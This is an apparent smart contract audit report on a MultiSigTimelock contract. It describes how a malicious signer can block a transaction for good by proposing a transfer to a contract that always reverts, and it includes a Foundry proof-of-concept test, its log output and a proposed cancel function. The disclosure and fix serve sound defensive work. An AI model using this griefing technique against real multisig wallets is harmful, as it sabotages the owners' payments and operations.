MultiSig Timelock

First Flight #55
Beginner FriendlyWallet
100 EXP
Submission Details
Impact: medium
Likelihood: medium

# M-1: Malicious Signer Can Permanently Brick Transactions Through Griefing Attack

Author Revealed upon completion

Description

The MultiSigTimelock contract lacks a critical transaction management feature: the ability to cancel or abort transactions that fail during execution. This creates a griefing attack vector where a malicious signer can propose transactions to contracts that always revert, permanently bricking those transaction IDs and disrupting protocol operations.

Expected Behavior:

  • Multisig should allow transaction lifecycle management: propose, approve, execute, and cancel/abort if needed

  • Failed transactions should either be marked as failed or provide a mechanism to cancel them

  • Standard multisig implementations (like Gnosis Safe) include cancel/abort functionality for this reason

Actual Behavior:

  • When executeTransaction() is called and the external call fails, the entire transaction reverts

  • The executed state variable is rolled back to false

  • The transaction remains in a permanently pending state with no way to cancel it

  • The same transaction can be attempted infinitely, always failing

The Attack Vector:

In the _executeTransaction() function:

function _executeTransaction(uint256 txnId) internal {
Transaction storage txn = s_transactions[txnId];
// CHECKS pass
if (txn.confirmations < REQUIRED_CONFIRMATIONS) { revert ...; }
// ... other checks
// EFFECTS
txn.executed = true; // @> Set to true before external call
// INTERACTIONS
(bool success,) = payable(txn.to).call{value: txn.value}(txn.data);
if (!success) {
revert MultiSigTimelock__ExecutionFailed(); // @> Reverts entire transaction, rolling back executed = true
}
emit TransactionExecuted(txnId, txn.to, txn.value);
}

When the call to txn.to fails:

  1. The revert rolls back ALL state changes including txn.executed = true

  2. Transaction stays in pending state (executed = false)

  3. No mechanism exists to cancel or mark it as permanently failed

  4. Transaction ID is effectively bricked forever

Risk

Likelihood:

  • Requires one malicious or compromised signer (insider threat)

  • Can be repeated multiple times to brick numerous transaction IDs

  • Can occur accidentally with legitimate contracts that have been paused, upgraded, or have bugs

Impact:

  • Time-sensitive payments (payroll, acquisitions, partnerships) can be sabotaged, causing significant financial and reputational damage

  • Multiple bricked transactions create confusion, waste gas fees on repeated execution attempts, and force workarounds
    signers

  • Transaction lifecycle is incomplete without ability to cancel failed transactions

  • Signers lose confidence in the system when transactions mysteriously fail repeatedly

Proof of Concept

The following test demonstrates how a malicious signer can permanently brick a transaction by proposing to send funds to a contract that always reverts:

function test_ExecuteTransactionDoS() public grantSigningRoles {
// ARRANGE - Setup the attack scenario
// 1. Deploy the malicious contract that always rejects ETH
ethRejector = new EthRejector();
// 2. Fund the multisig with enough ETH
uint256 FUNDS_IN_MULTISIG = 10 ether;
uint256 AMOUNT_TO_SEND = 1 ether;
vm.deal(address(multiSigTimelock), FUNDS_IN_MULTISIG);
// 3. ATTACK: Malicious signer proposes transaction to reverting contract
vm.prank(OWNER);
uint256 txnId = multiSigTimelock.proposeTransaction(address(ethRejector), AMOUNT_TO_SEND, hex"");
console2.log("=== Griefing Attack Scenario ===");
console2.log("Transaction proposed to malicious contract at:", address(ethRejector));
console2.log("Amount to send:", AMOUNT_TO_SEND);
console2.log("Multisig balance:", address(multiSigTimelock).balance);
// ACT - Get the required confirmations (3 out of 5)
// Other signers unknowingly approve the malicious transaction
vm.prank(OWNER);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(SIGNER_TWO);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(SIGNER_THREE);
multiSigTimelock.confirmTransaction(txnId);
console2.log("\nTransaction has 3 confirmations - ready to execute");
// Fast forward time to pass the timelock delay (1 day for 1 ETH transaction)
vm.warp(block.timestamp + 1 days + 1);
console2.log("Time advanced past timelock delay");
// ASSERT PART 1 - First execution attempt fails
console2.log("\n--- First Execution Attempt ---");
vm.prank(OWNER);
vm.expectRevert(MultiSigTimelock.MultiSigTimelock__ExecutionFailed.selector);
multiSigTimelock.executeTransaction(txnId);
// CRITICAL: Check that transaction is still marked as NOT executed
MultiSigTimelock.Transaction memory txn = multiSigTimelock.getTransaction(txnId);
assertFalse(txn.executed, "Transaction should NOT be marked as executed");
console2.log("Transaction executed status:", txn.executed);
console2.log("Transaction can be attempted again - permanently stuck!");
// ASSERT PART 2 - Second execution attempt also fails
console2.log("\n--- Second Execution Attempt ---");
vm.prank(SIGNER_TWO);
vm.expectRevert(MultiSigTimelock.MultiSigTimelock__ExecutionFailed.selector);
multiSigTimelock.executeTransaction(txnId);
// Still not executed
txn = multiSigTimelock.getTransaction(txnId);
assertFalse(txn.executed, "Transaction STILL not executed after second attempt");
// ASSERT PART 3 - Third execution attempt also fails (proving permanent DoS)
console2.log("\n--- Third Execution Attempt ---");
vm.prank(SIGNER_THREE);
vm.expectRevert(MultiSigTimelock.MultiSigTimelock__ExecutionFailed.selector);
multiSigTimelock.executeTransaction(txnId);
// IMPACT DEMONSTRATION
console2.log("\n=== VULNERABILITY IMPACT ===");
console2.log("Transaction ID", txnId, "is permanently bricked");
console2.log("Amount stuck:", AMOUNT_TO_SEND);
console2.log("Multisig still has balance:", address(multiSigTimelock).balance);
console2.log("But this transaction can NEVER succeed");
console2.log("No way to cancel or abort this transaction");
console2.log("Malicious signer can repeat this attack multiple times");
}

To run the test:

forge test --mt test_ExecuteTransactionDoS -vv

Expected Output:

[PASS] testExecuteTransactionDoSWhenRecipientAlwaysReverts()
Logs:
=== Griefing Attack Scenario ===
Transaction proposed to malicious contract at: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Amount to send: 1000000000000000000
Multisig balance: 10000000000000000000
Transaction has 3 confirmations - ready to execute
Time advanced past timelock delay
--- First Execution Attempt ---
Transaction executed status: false
Transaction can be attempted again - permanently stuck!
--- Second Execution Attempt ---
--- Third Execution Attempt ---
=== VULNERABILITY IMPACT ===
Transaction ID 0 is permanently bricked
Amount stuck: 1000000000000000000
Multisig still has balance: 10000000000000000000
But this transaction can NEVER succeed
No way to cancel or abort this transaction
Malicious signer can repeat this attack multiple times

Recommended Mitigation

Implement a transaction cancellation mechanism that allows signers to abort failed or unwanted transactions. This is a standard feature in production multisig implementations like Gnosis Safe.

Recommended Fix:

Add a cancelTransaction() function to allow signers to abort failed transactions:

function cancelTransaction(uint256 txnId)
external
transactionExists(txnId)
notExecuted(txnId)
onlyRole(SIGNING_ROLE)
{
// Mark as executed so it can't be tried again
s_transactions[txnId].executed = true;
emit TransactionCancelled(txnId, msg.sender);
}
event TransactionCancelled(uint256 indexed transactionId, address indexed canceller);

Why This Fix Works:

  1. Breaks the infinite loop: Cancelled transactions are marked as executed = true, preventing further execution attempts

  2. Authorized access: Only signers can cancel, maintaining security model

  3. Standard pattern: Follows industry best practices (Gnosis Safe, OpenZeppelin Governor)

  4. Simple implementation: Reuses existing modifiers and state variables

Additional Consideration:

You may want to require multiple confirmations to cancel a transaction (similar to execution), especially for high-value transactions, to prevent a single malicious signer from cancelling legitimate transactions.

Reference:

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!